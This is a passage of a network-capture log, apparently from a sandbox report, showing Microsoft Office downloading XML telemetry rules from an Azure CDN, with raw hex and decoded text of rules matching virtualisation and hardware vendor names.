2024-11-24 03:22:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032246Z-178bfbc474bp8mkvhC1NYCzqnn000000056000000000e2dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:46 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:48 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:48 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:48 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: f224b857-001e-00ad-6c03-3e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032248Z-178bfbc474brk967hC1NYCfu60000000059g000000000xky x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:48 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:48 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032248Z-178bfbc474b7cbwqhC1NYC8z4n00000005bg000000004dk1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:48 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032248Z-15b8b599d88wn9hhhC1TEBry0g000000040g000000001k9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:49 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032249Z-178bfbc474bbbqrhhC1NYCvw7400000005fg00000000g9y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:48 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032249Z-174c587ffdfgcs66hC1TEB69cs00000003sg000000006987 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:49 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:50 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:50 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032250Z-178bfbc474bp8mkvhC1NYCzqnn00000005ag000000001hsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:51 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:50 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032251Z-174c587ffdfldtt2hC1TEBwv9c00000003s0000000005b5q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:50 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:51 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032251Z-178bfbc474bh5zbqhC1NYCkdug00000005c0000000004y98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:51 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:51 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f5c58262-401e-00ac-04df-3d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032251Z-178bfbc474brk967hC1NYCfu600000000590000000001tq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032251Z-178bfbc474bv587zhC1NYCny5w000000057000000000dw5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:52 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
